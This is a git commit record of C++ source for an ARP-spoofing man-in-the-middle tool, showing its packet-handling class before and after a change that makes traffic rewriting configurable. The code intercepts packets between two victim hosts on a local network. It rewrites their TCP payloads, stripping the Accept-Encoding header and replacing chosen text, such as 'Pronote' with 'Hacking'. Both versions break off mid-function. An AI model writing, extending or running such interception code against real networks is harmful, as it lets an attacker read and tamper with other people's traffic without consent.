<commit_before>#include "arpspoofer.h"
#include "Sniffer.h"
#include "memoryutil.h"
#include <iostream>
#include <fstream>

ArpSpoofer::ArpSpoofer()
{
}

ArpSpoofer::~ArpSpoofer()
{
#ifdef __linux__
    ::close(_socket_arp);
#endif
}

void    ArpSpoofer::Initialize()
{
    // Initialize ARP socket
    int                  one = 1;
    const int            *val = &one;

    _socket_arp = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    setsockopt(_socket_arp, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one));
}

void     ArpSpoofer::Start(const std::string &interface, const std::string &local_ip, char *local_mac, const std::string &ip1, char *mac1, const std::string &ip2, char *mac2)
{
    _local_mac = local_mac;
    _local_ip = local_ip;

    client_t    *client = new client_t;
    client->ip = ip1;
    std::memcpy(client->mac, mac1, 6);
    _client1 = client;

    client = new client_t;
    client->ip = ip2;
    std::memcpy(client->mac, mac2, 6);
    _client2 = client;
}

void     ArpSpoofer::Stop()
{
    delete _client1;
    _client1 = NULL;
    delete _client2;
    _client2 = NULL;
}

void     ArpSpoofer::ManageNewPacket(SniffedPacket &packet)
{
#ifdef __linux__
    if (_client1 == NULL || _client2 == NULL || !packet.has_ether_hdr)
        return;

    eth_hdr_t *eth = (eth_hdr_t *) packet.data;
    if (strncmp(eth->ether_dhost, _local_mac, 6))
        return;

    if (packet.ip_dest == _local_ip || packet.ip_source == _local_ip || !(strncmp(eth->ether_shost, _client1->mac, 6) || strncmp(eth->ether_shost, _client2->mac, 6)))
        return ;

    int nb_bytes_added = 0;
    //nb_bytes_added += replaceTCPText(packet, "img src=", "img src=\"http://upload.wikimedia.org/wikipedia/fr/f/fb/C-dans-l'air.png\" "); // 65
    nb_bytes_added += ReplaceTCPText(packet, "Accept-Encoding:", "Accept-Rubbish!:");
    nb_bytes_added += ReplaceTCPText(packet, "Pronote", "Hacking");
    qDebug("Replaced %d bytes", nb_bytes_added);
<commit_msg>Apply arp settings<commit_after>#include "arpspoofer.h"
#include "Sniffer.h"
#include "memoryutil.h"
#include <iostream>
#include <fstream>

ArpSpoofer::ArpSpoofer()
{
}

ArpSpoofer::~ArpSpoofer()
{
#ifdef __linux__
    ::close(_socket_arp);
#endif
}

void    ArpSpoofer::Initialize()
{
    // Initialize ARP socket
    int                  one = 1;
    const int            *val = &one;

    _socket_arp = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    setsockopt(_socket_arp, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one));
}

void     ArpSpoofer::Start(const std::string &interface, const std::string &local_ip, char *local_mac, const std::string &ip1, char *mac1, const std::string &ip2, char *mac2)
{
    _local_mac = local_mac;
    _local_ip = local_ip;

    client_t    *client = new client_t;
    client->ip = ip1;
    std::memcpy(client->mac, mac1, 6);
    _client1 = client;

    client = new client_t;
    client->ip = ip2;
    std::memcpy(client->mac, mac2, 6);
    _client2 = client;
}

void     ArpSpoofer::Stop()
{
    delete _client1;
    _client1 = NULL;
    delete _client2;
    _client2 = NULL;
}

void     ArpSpoofer::ManageNewPacket(SniffedPacket &packet)
{
#ifdef __linux__
    if (!_arp_options->redirect_traffic || _client1 == NULL || _client2 == NULL || !packet.has_ether_hdr)
        return;

    eth_hdr_t *eth = (eth_hdr_t *) packet.data;
    if (strncmp(eth->ether_dhost, _local_mac, 6))
        return;

    if (packet.ip_dest == _local_ip || packet.ip_source == _local_ip || !(strncmp(eth->ether_shost, _client1->mac, 6) || strncmp(eth->ether_shost, _client2->mac, 6)))
        return ;

    int nb_bytes_added = 0;
    if (_arp_options->remove_encoding)
        nb_bytes_added += ReplaceTCPText(packet, "Accept-Encoding:", "Accept-Rubbish!:");
    if (!_arp_options->replace_from.empty())
        nb_bytes_added += ReplaceTCPText(packet, _arp_options->replace_from, _arp_options->replace_to);
    if (!nb_bytes_added)
        qDebug("Replaced %d bytes", nb_bytes_added);

{'fraction_non_alphanumeric': 0.1436868686868687, 'fraction_numerical': 0.013131313131313131, 'mean_word_length': 3.589803012746234, 'pattern_counts': {'":': 0, '<': 7, '<?xml version=': 0, '>': 30, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3992987', 'n_tokens_mistral': 1534, 'n_tokens_neox': 1491, 'n_words': 296}